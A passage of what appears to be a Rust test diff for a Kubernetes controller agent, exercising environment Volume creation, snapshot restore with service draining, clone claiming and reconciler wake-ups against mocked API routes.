"/apis/rustic-git.io/v1alpha1/snapshotrequests", + stop_req(serde_json::json!({"phase": "pending"})), + )); + let (ctx, rec) = ctx(tmp.path(), routes); + + rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + let req = rec.sent("POST", "/apis/rustic-git.io/v1alpha1/snapshotrequests").remove(0); + let owner = &req["metadata"]["ownerReferences"][0]; + assert_eq!(owner["kind"], "Environment"); + assert_eq!(owner["name"], "env-1"); + assert_eq!(owner["controller"], true, "only a CONTROLLER ref is mapped back: {req}"); +} + +const ENV_STATUS_PATH: &str = "/apis/rustic-git.io/v1alpha1/environments/env-1/status"; + +/// An environment placed on this node authors its OWN Volume child, named after itself and +/// ownerReferenced to it — same skeleton as a workspace, so `DELETE environment` reclaims the disk. +#[tokio::test] +async fn a_placed_environment_creates_its_volume_child_on_its_own_node() { + let tmp = tempfile::tempdir().unwrap(); + let mut fresh_vol = env_vol(); + fresh_vol["status"] = serde_json::json!({"phase": "working", "subvolumePresent": false}); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::not_found("/apis/rustic-git.io/v1alpha1/volumes/env-1"), + // The freshly created child has no disk yet, so the pass stops at the readiness wait. + rustic_git_workspaces::kube_test::post("/apis/rustic-git.io/v1alpha1/volumes", fresh_vol), + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + let e = environment(serde_json::json!({"phase": "creating", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + + rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + + let sent = rec.sent("POST", "/apis/rustic-git.io/v1alpha1/volumes"); + assert_eq!(sent.len(), 1); + assert_eq!(sent[0]["metadata"]["name"], "env-1", "the child takes the parent's name"); + assert_eq!(sent[0]["spec"]["nodeName"], "node-a", "the Volume is created FROM status.nodeName"); + let refs = sent[0]["metadata"]["ownerReferences"].as_array().expect("an ownerReference"); + assert_eq!(refs[0]["kind"], "Environment"); + assert_eq!(refs[0]["name"], "env-1"); +} + +/// No Deployment may exist before the disk does: a pod bound to an unmaterialized subvolume wedges +/// forever on `path … does not exist`. +#[tokio::test] +async fn an_environment_with_an_unready_volume_creates_no_deployment() { + let tmp = tempfile::tempdir().unwrap(); + let mut vol = env_vol(); + vol["status"] = serde_json::json!({"phase": "working", "subvolumePresent": false}); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol), + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + let e = environment(serde_json::json!({"phase": "creating", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + + let action = rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + assert!( + !rec.calls().iter().any(|c| c.contains("/statefulsets")), + "no deployment before its disk exists: {:?}", + rec.calls() + ); + let st = rec.sent("PATCH", ENV_STATUS_PATH); + assert_eq!(st.last().unwrap()["status"]["phase"], "creating"); + assert_eq!(st.last().unwrap()["status"]["conditions"][0]["reason"], "VolumeNotReady"); +} + +/// A release-1 environment has no `storage` and names its Volume in the deprecated pointer. It is +/// ADOPTED — never failed for the missing field, and never given a second Volume. +#[tokio::test] +async fn a_legacy_environment_adopts_the_volume_its_spec_names() { + let tmp = tempfile::tempdir().unwrap(); + let mut vol = env_vol(); + vol["metadata"]["name"] = serde_json::json!("vol-9"); + vol["status"] = serde_json::json!({"phase": "working", "subvolumePresent": false}); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/vol-9", vol), + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + let mut e = environment(serde_json::json!({})); + e.spec.storage = None; + e.spec.volume_ref = Some("vol-9".into()); + e.spec.node_name = Some("node-a".into()); + + rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + + assert!(rec.sent("POST", "/apis/rustic-git.io/v1alpha1/volumes").is_empty(), "a legacy object is adopted"); + let st = rec.sent("PATCH", ENV_STATUS_PATH); + assert_eq!(st.last().unwrap()["status"]["volumeRef"], "vol-9", "the pointers are mirrored into status"); + assert_eq!(st.last().unwrap()["status"]["nodeName"], "node-a"); +} + +/// A NEW environment with no `storage` can never build a disk, and no retry adds a field. +#[tokio::test] +async fn a_new_environment_without_storage_fails_permanently() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + let mut e = environment(serde_json::json!({"phase": "creating", "nodeName": "node-a"})); + e.spec.storage = None; + + let action = rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change(), "permanent: never retried"); + let st = rec.sent("PATCH", ENV_STATUS_PATH); + assert_eq!(st.last().unwrap()["status"]["phase"], "error"); + assert_eq!(st.last().unwrap()["status"]["conditions"][0]["reason"], "NoStorage"); +} + +/// A converged environment whose only status delta is `volumeRef` must still write it — the child +/// pointer is how everything else finds the disk, and a guard that ignored it left it unset forever. +#[tokio::test] +async fn an_environment_whose_only_delta_is_its_volume_ref_still_writes_status() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", env_vol()), + rustic_git_workspaces::kube_test::get(STOP_REQ, stop_req(serde_json::json!({"phase": "done"}))), + Route { method: "DELETE", path: DEP_DEL.into(), status: 200, body: serde_json::json!({"kind": "Status"}) }, + Route { method: "DELETE", path: STOP_REQ.into(), status: 200, body: stop_req(serde_json::json!({"phase": "done"})) }, + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + let mut e = stopping_env(); + // Everything the guard used to compare is already correct; only `volumeRef` is missing. + e.status = Some(crd::EnvironmentStatus { + phase: crd::Phase::Stopped, + observed_generation: Some(1), + node_name: "node-a".into(), + compatible_nodes: vec!["node-a".into()], + conditions: vec![rustic_git_workspaces::crd::condition("Ready", true, "Stopped", "pushed and stopped", 1)], + ..Default::default() + }); + // Not the idempotency guard's case: that one needs `observedGeneration` AND a volumeRef-free + // status to be indistinguishable, so bump the generation to force the stop path to run. + e.metadata.generation = Some(2); + + rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + let st = rec.sent("PATCH", ENV_STATUS_PATH); + assert_eq!(st.len(), 1, "one status write: {:?}", rec.calls()); + assert_eq!(st[0]["status"]["volumeRef"], "env-1"); +} + +// ── in-place restore ───────────────────────────────────────────────────── + +const DEP_PATCH: &str = "/apis/apps/v1/namespaces/env-1/statefulsets/db"; +const POD_LIST: &str = "/api/v1/namespaces/env-1/pods"; +const VOL_PATCH: &str = "/apis/rustic-git.io/v1alpha1/volumes/env-1"; + +const WISH_AT: &str = "2026-08-27T00:00:00Z"; + +fn restoring_env(restored_to: Option<&str>) -> (crd::Environment, serde_json::Value) { + let mut o = env_json(serde_json::json!({"phase": "running", "nodeName": "node-a", "compatibleNodes": ["node-a"]})); + o["spec"]["services"] = + serde_json::json!([{"name": "db", "image": "mongo", "command": [], "env": {}, "mounts": []}]); + o["spec"]["restore"] = serde_json::json!({"snapshotId": "snap-7", "volume": "env-1", + "owner": "acme", "requestedAt": WISH_AT}); + let mut vol = env_vol(); + if let Some(id) = restored_to { + vol["status"]["restoredTo"] = serde_json::json!(id); + vol["status"]["restoreRequestedAt"] = serde_json::json!(WISH_AT); + } + (serde_json::from_value(o).unwrap(), vol) +} + +/// `(name, phase)` — the phase is what decides whether a pod can still be WRITING. +fn pod_list(pods: &[(&str, &str)]) -> serde_json::Value { + serde_json::json!({ + "apiVersion": "v1", "kind": "PodList", "metadata": {"resourceVersion": "1"}, + "items": pods.iter().map(|(n, phase)| serde_json::json!({ + "apiVersion": "v1", "kind": "Pod", + "metadata": {"name": n, "namespace": "env-1"}, + "status": {"phase": phase}, + })).collect::>(), + }) +} + +/// Never restore under a running service: the Deployments go to zero replicas and their pods have +/// to be GONE before the wish reaches the Volume. A subvolume swapped under an open database is +/// corruption nobody can attribute afterwards. +#[tokio::test] +async fn a_restore_wish_scales_the_services_to_zero_before_it_reaches_the_volume() { + let tmp = tempfile::tempdir().unwrap(); + let (e, vol) = restoring_env(None); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol.clone()), + Route { method: "PATCH", path: DEP_PATCH.into(), status: 200, body: serde_json::json!({"kind": "StatefulSet"}) }, + rustic_git_workspaces::kube_test::get(POD_LIST, pod_list(&[])), + Route { method: "PATCH", path: VOL_PATCH.into(), status: 200, body: vol }, + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + + let action = rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + assert_eq!(rec.sent("PATCH", DEP_PATCH)[0]["spec"]["replicas"], 0); + let calls = rec.calls(); + let scaled = calls.iter().position(|c| c == &format!("PATCH {DEP_PATCH}")).unwrap(); + let wished = calls.iter().position(|c| c == &format!("PATCH {VOL_PATCH}")).unwrap(); + assert!(scaled < wished, "the scale-down comes first: {calls:?}"); + assert_eq!(rec.sent("PATCH", VOL_PATCH)[0]["spec"]["restoreTo"]["snapshotId"], "snap-7"); + let st = rec.sent("PATCH", ENV_STATUS_PATH); + assert_eq!(st.last().unwrap()["status"]["conditions"][0]["type"], "Restoring"); + assert_eq!(st.last().unwrap()["status"]["conditions"][0]["status"], "True"); +} + +/// A pod still terminating is a process still writing. The wish waits. +#[tokio::test] +async fn a_restore_waits_for_the_pods_to_actually_be_gone() { + let tmp = tempfile::tempdir().unwrap(); + let (e, vol) = restoring_env(None); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol), + Route { method: "PATCH", path: DEP_PATCH.into(), status: 200, body: serde_json::json!({"kind": "StatefulSet"}) }, + rustic_git_workspaces::kube_test::get(POD_LIST, pod_list(&[("db-0", "Running")])), + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + + rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert!(!rec.calls().iter().any(|c| c == &format!("PATCH {VOL_PATCH}")), "{:?}", rec.calls()); + assert_eq!(rec.sent("PATCH", ENV_STATUS_PATH).last().unwrap()["status"]["conditions"][0]["reason"], "Draining"); +} + +/// The Volume reports the wished-for snapshot live: the gate is done, so the pass falls through to +/// the ordinary converge — which re-applies every Deployment, and THAT is the scale back up. It +/// must write no second wish and scale nothing down; a gate that fired again here would be an +/// infinite restore loop, since `spec.restore` is deliberately never cleared. +#[tokio::test] +async fn a_matching_restored_to_neither_scales_down_nor_re_wishes() { + let tmp = tempfile::tempdir().unwrap(); + let (e, vol) = restoring_env(Some("snap-7")); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol), + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + + // The converge past the gate needs a namespace this mock does not answer for, so the pass + // errors there. What is under test is everything BEFORE that point. + let _ = rustic_git_agent::controller::apply_environment(&e, &ctx).await; + let calls = rec.calls(); + assert!(!calls.iter().any(|c| c == &format!("PATCH {DEP_PATCH}")), "no scale-down: {calls:?}"); + assert!(!calls.iter().any(|c| c == &format!("PATCH {VOL_PATCH}")), "no second wish: {calls:?}"); + assert!(!calls.iter().any(|c| c == &format!("GET {POD_LIST}")), "the gate never ran: {calls:?}"); +} + +/// A finished pod is not a writer. `Succeeded`/`Failed` pods are never collected on their own, so +/// counting every pod in the namespace waits for something that will not happen — the restore hangs +/// behind a job that ended days ago. +#[tokio::test] +async fn a_finished_pod_does_not_block_the_drain() { + let tmp = tempfile::tempdir().unwrap(); + let (e, vol) = restoring_env(None); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol.clone()), + Route { method: "PATCH", path: DEP_PATCH.into(), status: 200, body: serde_json::json!({"kind": "StatefulSet"}) }, + rustic_git_workspaces::kube_test::get(POD_LIST, pod_list(&[("seed-1", "Succeeded"), ("old-1", "Failed")])), + Route { method: "PATCH", path: VOL_PATCH.into(), status: 200, body: vol }, + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + + rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + assert_eq!(rec.sent("PATCH", VOL_PATCH).len(), 1, "the drain is done: {:?}", rec.calls()); +} + +/// Restoring the SAME snapshot again is a legitimate ask — after undoing a restore by hand, or +/// after a bad afternoon. Comparing snapshot ids alone made the second ask a silent no-op, so the +/// guard compares the (snapshotId, requestedAt) PAIR on both sides. +#[tokio::test] +async fn a_second_wish_for_the_same_snapshot_restores_again() { + let tmp = tempfile::tempdir().unwrap(); + let (mut e, vol) = restoring_env(Some("snap-7")); + let mut spec = e.spec.restore.clone().unwrap(); + spec.requested_at = "2026-08-28T09:00:00Z".into(); + e.spec.restore = Some(spec); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "PATCH", path: ENV_PATCH.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::get("/apis/rustic-git.io/v1alpha1/volumes/env-1", vol.clone()), + Route { method: "PATCH", path: DEP_PATCH.into(), status: 200, body: serde_json::json!({"kind": "StatefulSet"}) }, + rustic_git_workspaces::kube_test::get(POD_LIST, pod_list(&[])), + Route { method: "PATCH", path: VOL_PATCH.into(), status: 200, body: vol }, + Route { method: "PATCH", path: ENV_STATUS_PATH.into(), status: 200, body: env_json(serde_json::json!({})) }, + ], + ); + + rustic_git_agent::controller::apply_environment(&e, &ctx).await.unwrap(); + let sent = rec.sent("PATCH", VOL_PATCH); + assert_eq!(sent.len(), 1, "the newer wish is a new restore: {:?}", rec.calls()); + assert_eq!(sent[0]["spec"]["restoreTo"]["requestedAt"], "2026-08-28T09:00:00Z"); +} + +/// The scale back up is `service_statefulset`'s own replica count — the gate does not restore it by +/// hand, the ordinary converge does. +#[test] +fn a_service_statefulset_is_one_replica() { + let svc = rustic_git_workspaces::model::Service { + name: "db".into(), + image: "mongo".into(), + command: vec![], + env: Default::default(), + mounts: vec![], + ports: vec![], + }; + let dep = rustic_git_workspaces::k8s::service_statefulset(&svc, "env-1", "acme", &test_pod_ctx()).unwrap(); + assert_eq!(dep.spec.unwrap().replicas, Some(1)); +} + +// ── the fixes from the final branch review ─────────────────────────────── + +/// A `cloneOf` source is resolved as a VOLUME, so it works for both parent kinds. `clone_env` +/// writes the environment's id there, and a workspace-only lookup meant a cloned environment was +/// never claimed by anyone. +fn src_volume(node: &str) -> serde_json::Value { + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": "env-src", "uid": "env-src-uid"}, + "spec": {"owner": "acme", "team": "", "nodeName": node, "region": "r1", "quotaGb": 20}, + "status": {"phase": "ready", "subvolumePresent": true} + }) +} + +fn cloned_env(source: &str) -> crd::Environment { + let mut e = environment(serde_json::json!({})); + e.spec.storage = + Some(crd::WorkspaceStorage { quota_gb: 20, source: Some(crd::VolumeSource::CloneOf { volume: source.into() }) }); + e +} + +const ENV_STATUS: &str = "/apis/rustic-git.io/v1alpha1/environments/env-1/status"; +const SRC_VOL: &str = "/apis/rustic-git.io/v1alpha1/volumes/env-src"; + +#[tokio::test] +async fn a_cloned_environment_is_claimed_where_its_source_volume_lives() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(SRC_VOL, src_volume("node-a")), + Route { method: "PUT", path: ENV_STATUS.into(), status: 200, body: env_json(serde_json::json!({})) }, + rustic_git_workspaces::kube_test::post( + BINDINGS, + serde_json::json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "OwnerBinding", + "metadata": {"name": "r1-acme"}, + "spec": {"owner": "acme", "region": "r1", "nodeName": "node-a"}}), + ), + ], + ); + + rustic_git_agent::claim::claim_environment(&cloned_env("env-src"), &ctx).await.unwrap(); + assert_eq!(rec.sent("PUT", ENV_STATUS).len(), 1, "the source's disk is here: {:?}", rec.calls()); +} + +#[tokio::test] +async fn a_cloned_environment_is_not_claimed_off_its_sources_node() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![rustic_git_workspaces::kube_test::get(SRC_VOL, src_volume("node-b"))]); + + rustic_git_agent::claim::claim_environment(&cloned_env("env-src"), &ctx).await.unwrap(); + assert!(rec.sent("PUT", ENV_STATUS).is_empty(), "node-a holds nothing of env-src: {:?}", rec.calls()); +} + +/// The permanent path is a status write like any other, so it needs the same no-op guard: without +/// it every reconcile re-stamps `lastTransitionTime`, the write is its own watch event, and a +/// permanently-broken object spins against the API server until someone fixes its spec. +#[tokio::test] +async fn a_second_reconcile_of_a_settled_workspace_writes_nothing() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![]); + let mut w = workspace(serde_json::json!({ + "phase": "error", + "nodeName": "node-a", + "compatibleNodes": ["node-a"], + "conditions": [{"type": "Ready", "status": "False", "reason": "NoStorage", + "message": "spec.storage is required", "observedGeneration": 1, + "lastTransitionTime": "2026-08-27T00:00:00Z"}] + })); + w.spec.storage = None; + + let action = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert!(rec.calls().is_empty(), "an already-settled object writes nothing: {:?}", rec.calls()); +} + +/// A `done` stop request that is TERMINATING is not a landed push — it is the previous stop's +/// object on its way out. Reading it as done would tear the environment down without pushing. +#[tokio::test] +async fn a_terminating_stop_request_is_treated_as_absent() { + let tmp = tempfile::tempdir().unwrap(); + let mut terminating = stop_req(serde_json::json!({"phase": "done", "snapshotId": "layer-1"})); + terminating["metadata"]["deletionTimestamp"] = serde_json::json!("2026-08-27T00:00:00Z"); + terminating["metadata"]["finalizers"] = serde_json::json!(["rustic-git.io/snapshot"]); + let mut routes = stop_routes(Some(terminating)); + routes.push(rustic_git_workspaces::kube_test::post( + "/apis/rustic-git.io/v1alpha1/snapshotrequests", + stop_req(serde_json::json!({"phase": "pending"})), + )); + let (ctx, rec) = ctx(tmp.path(), routes); + + rustic_git_agent::controller::apply_environment(&stopping_env(), &ctx).await.unwrap(); + assert!( + !rec.calls().iter().any(|c| c.starts_with("DELETE")), + "nothing may be torn down against a terminating request: {:?}", + rec.calls() + ); + assert!( + rec.calls().iter().any(|c| c == "POST /apis/rustic-git.io/v1alpha1/snapshotrequests"), + "a fresh push is requested instead: {:?}", + rec.calls() + ); +} + +/// Stopping needs neither the disk nor the namespace — only a pod delete. Gated on the Volume, a +/// workspace whose subvolume failed could never be stopped, so it kept its pod forever. +#[tokio::test] +async fn a_stopped_workspace_with_a_broken_volume_still_loses_its_pod() { + let tmp = tempfile::tempdir().unwrap(); + let ns = crd::ws_namespace("alice", ""); + let pod_del = format!("/api/v1/namespaces/{ns}/pods/ws-1"); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + Route { method: "DELETE", path: pod_del.clone(), status: 200, body: serde_json::json!({"kind": "Status"}) }, + Route { method: "PATCH", path: WS_STATUS.into(), status: 200, body: ws_json(serde_json::json!({})) }, + ], + ); + let mut w = workspace(serde_json::json!({"phase": "creating", "nodeName": "node-a", "volumeRef": "ws-1"})); + w.spec.desired_state = crd::DesiredState::Stopped; + + let action = rustic_git_agent::controller::apply_workspace(&w, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + assert!(rec.calls().iter().any(|c| c == &format!("DELETE {pod_del}")), "{:?}", rec.calls()); + assert!( + !rec.calls().iter().any(|c| c.contains("/volumes/")), + "the stop must not depend on the Volume at all: {:?}", + rec.calls() + ); + assert_eq!(rec.sent("PATCH", WS_STATUS).last().unwrap()["status"]["phase"], "stopped"); +} +// ── completion wakes the reconciler ────────────────────────────────────── + +/// Take one wake-up, or fail well before the 15s requeue that used to be the only path. +async fn wake(rx: &mut tokio::sync::mpsc::UnboundedReceiver) -> T { + tokio::time::timeout(std::time::Duration::from_secs(5), rx.recv()) + .await + .expect("no wake-up before the timeout: the object would have waited out TICK") + .expect("the wake channel closed") +} + +/// A finished volume operation sends its own ref, so the reconcile that writes `ready` happens on +/// completion rather than on the 15s tick. +#[tokio::test] +async fn a_finished_volume_operation_wakes_its_reconciler() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let (mut vol_wakes, _snap_wakes, _ws_wakes) = ctx.wakes.lock().unwrap().take().unwrap(); + let v = volume(3); + + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + + assert_eq!(wake(&mut vol_wakes).await.name, "vol-1"); + + // The woken pass observes the handle and writes the outcome. There is no btrfs on the test + // host, so that outcome is `error` — the `ready` half is `a_finished_operation_writes_observed_ + // generation_and_stops_requeueing`; what is under test here is that the pass happens at all. + wait_idle(&ctx).await; + rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + let sent = rec.sent("PATCH", VOL_STATUS); + let last = sent.last().unwrap(); + assert_ne!(last["status"]["phase"], "working", "the wake-up pass must leave `working`: {last}"); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained"); +} + +/// Same for a push: the wake fires on completion whatever the outcome (here the push fails — no +/// registry listens in these tests — and the next reconcile writes `error` without waiting a tick). +#[tokio::test] +async fn a_finished_push_wakes_its_reconciler() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-a")), + Route { method: "PATCH", path: SNAP_STATUS.into(), status: 200, body: snap_json(serde_json::json!({})) }, + ], + ); + let (_vol_wakes, mut snap_wakes, _ws_wakes) = ctx.wakes.lock().unwrap().take().unwrap(); + + let action = rustic_git_agent::snapshot::apply_snapshot(&snapshot(serde_json::json!({})), &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::requeue(std::time::Duration::from_secs(15))); + + assert_eq!(wake(&mut snap_wakes).await.name, "snap-1"); + + wait_idle(&ctx).await; + let action = rustic_git_agent::snapshot::apply_snapshot(&snapshot(serde_json::json!({"phase": "working"})), &ctx) + .await + .unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + let sent = rec.sent("PATCH", SNAP_STATUS); + assert_eq!(sent.last().unwrap()["status"]["phase"], "error", "{:?}", sent.last()); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained"); +} + +/// The success half: a finished operation whose outcome is `Ready` wakes the reconciler AND the +/// woken pass writes `ready` with the generation it ran for. Stubbed through `wake_on_finish` +/// rather than through real work, because the test host has no btrfs. +#[tokio::test] +async fn a_successful_volume_operation_wakes_and_then_writes_ready() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let (mut vol_wakes, _snap_wakes, _ws_wakes) = ctx.wakes.lock().unwrap().take().unwrap(); + let v = volume(5); + let handle = rustic_git_agent::controller::wake_on_finish( + tokio::task::spawn_blocking(|| Ok(Done { phase: crd::Phase::Ready, ..Done::default() })), + ctx.wake_volume.clone(), + kube::runtime::reflector::ObjectRef::::new("vol-1"), + ); + ctx.running.lock().unwrap().insert("uid-1".to_string(), (5, handle)); + + assert_eq!(wake(&mut vol_wakes).await.name, "vol-1"); + + wait_idle(&ctx).await; + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + let sent = rec.sent("PATCH", VOL_STATUS); + let last = sent.last().unwrap(); + assert_eq!(last["status"]["phase"], "ready", "{last}"); + assert_eq!(last["status"]["observedGeneration"], 5); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained"); +} + +/// Same for a push that lands: the wake arrives and the woken pass writes `done` with the id. +#[tokio::test] +async fn a_successful_push_wakes_and_then_writes_done() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx( + tmp.path(), + vec![ + rustic_git_workspaces::kube_test::get(VOL_GET, vol_on("node-a")), + Route { method: "PATCH", path: SNAP_STATUS.into(), status: 200, body: snap_json(serde_json::json!({})) }, + ], + ); + let (_vol_wakes, mut snap_wakes, _ws_wakes) = ctx.wakes.lock().unwrap().take().unwrap(); + let handle = rustic_git_agent::controller::wake_on_finish( + tokio::task::spawn_blocking(|| Ok(Done { phase: crd::Phase::Done, lineage_tip: Some("layer-9".into()), ..Done::default() })), + ctx.wake_snapshot.clone(), + kube::runtime::reflector::ObjectRef::::new("snap-1"), + ); + ctx.running.lock().unwrap().insert("snap-uid-1".to_string(), (1, handle)); + + assert_eq!(wake(&mut snap_wakes).await.name, "snap-1"); + + wait_idle(&ctx).await; + let action = rustic_git_agent::snapshot::apply_snapshot(&snapshot(serde_json::json!({"phase": "working"})), &ctx) + .await + .unwrap(); + assert_eq!(action, kube::runtime::controller::Action::await_change()); + let last = rec.sent("PATCH", SNAP_STATUS).last().unwrap().clone(); + assert_eq!(last["status"]["phase"], "done", "{last}"); + assert_eq!(last["status"]["snapshotId"], "layer-9"); + assert_eq!(last["status"]["observedGeneration"], 1); + assert!(ctx.running.lock().unwrap().is_empty(), "the finished handle must be drained"); +} + +/// A snapshot outlives its `SnapshotRequest` — the env-stop request is deleted after teardown, and +/// nothing keeps a push request forever. Validating a `restoreOf` against a `done` CR therefore +/// made a deleted environment's snapshots unrestorable while their records sat untouched in the +/// registry, so the work starts with NO SnapshotRequest present at all and the registry gets to +/// answer. +#[tokio::test] +async fn a_restore_starts_without_any_snapshot_request() { + let tmp = tempfile::tempdir().unwrap(); + // No `snapshotrequests` route is registered: a lookup would fail outright, which is the point. + let (ctx, rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let mut v = volume(1); + v.spec.source = Some(crd::VolumeSource::RestoreOf { + volume: "env-gone".into(), + snapshot_id: "snap-old".into(), + owner: None, + region: None, + }); + + rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + + assert!( + ctx.running.lock().unwrap().contains_key("uid-1"), + "the restore work must start: {:?}", + rec.calls() + ); + assert!( + !rec.calls().iter().any(|c| c.contains("snapshotrequests")), + "the CR is the push work item, never the snapshot index: {:?}", + rec.calls() + ); +} + +/// A restore that cannot reach its snapshot's region settles: one `phase: error` status write +/// naming the region, and `await_change` — not a requeue that retries a missing Secret key every +/// 15 seconds forever. This is the loop half of the 27 Aug hang; the engine half is +/// `crates/workspaces/tests/engine_ops.rs`. +#[tokio::test] +async fn a_restore_from_an_unreachable_region_settles_and_stops_requeueing() { + let tmp = tempfile::tempdir().unwrap(); + let (ctx, rec) = ctx(tmp.path(), vec![patch_ok(VOL_STATUS)]); + let mut v = volume(1); + v.spec.source = Some(crd::VolumeSource::RestoreOf { + volume: "env-gone".into(), + snapshot_id: "snap-old".into(), + owner: None, + // No `AZURE_REGION_NOWHERE_*` on this node, which is the whole point. + region: Some("nowhere".into()), + }); + + rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + wait_idle(&ctx).await; + let action = rustic_git_agent::controller::apply_volume(&v, &ctx).await.unwrap(); + + assert_eq!(action, kube::runtime::controller::Action::await_change(), "a missing credential is not retryable"); + let sent = rec.sent("PATCH", VOL_STATUS); + let last = sent.last().expect("a status write"); + assert_eq!(last["status"]["phase"], "error"); + let cond = &last["status"]["conditions"][0]; + assert_eq!(cond["reason"], "RegionUnreachable"); + assert_eq!(cond["status"], "False"); + assert!(cond["message"].as_str().unwrap().contains("nowhere"), "the condition must name it: {cond}"); +} + + +// ── the packages step ──────────────────────────────────────────────────── + +/// The mocked `Ctx` every profile test wants: a fake Nix it can inspect, its own profile root, and +/// a workspace whose Volume answers ready so the pass reaches the packages step. +fn ws_ctx_with_nix(pool: &std::path::Path) -> (Arc, Recorder, Arc) { + 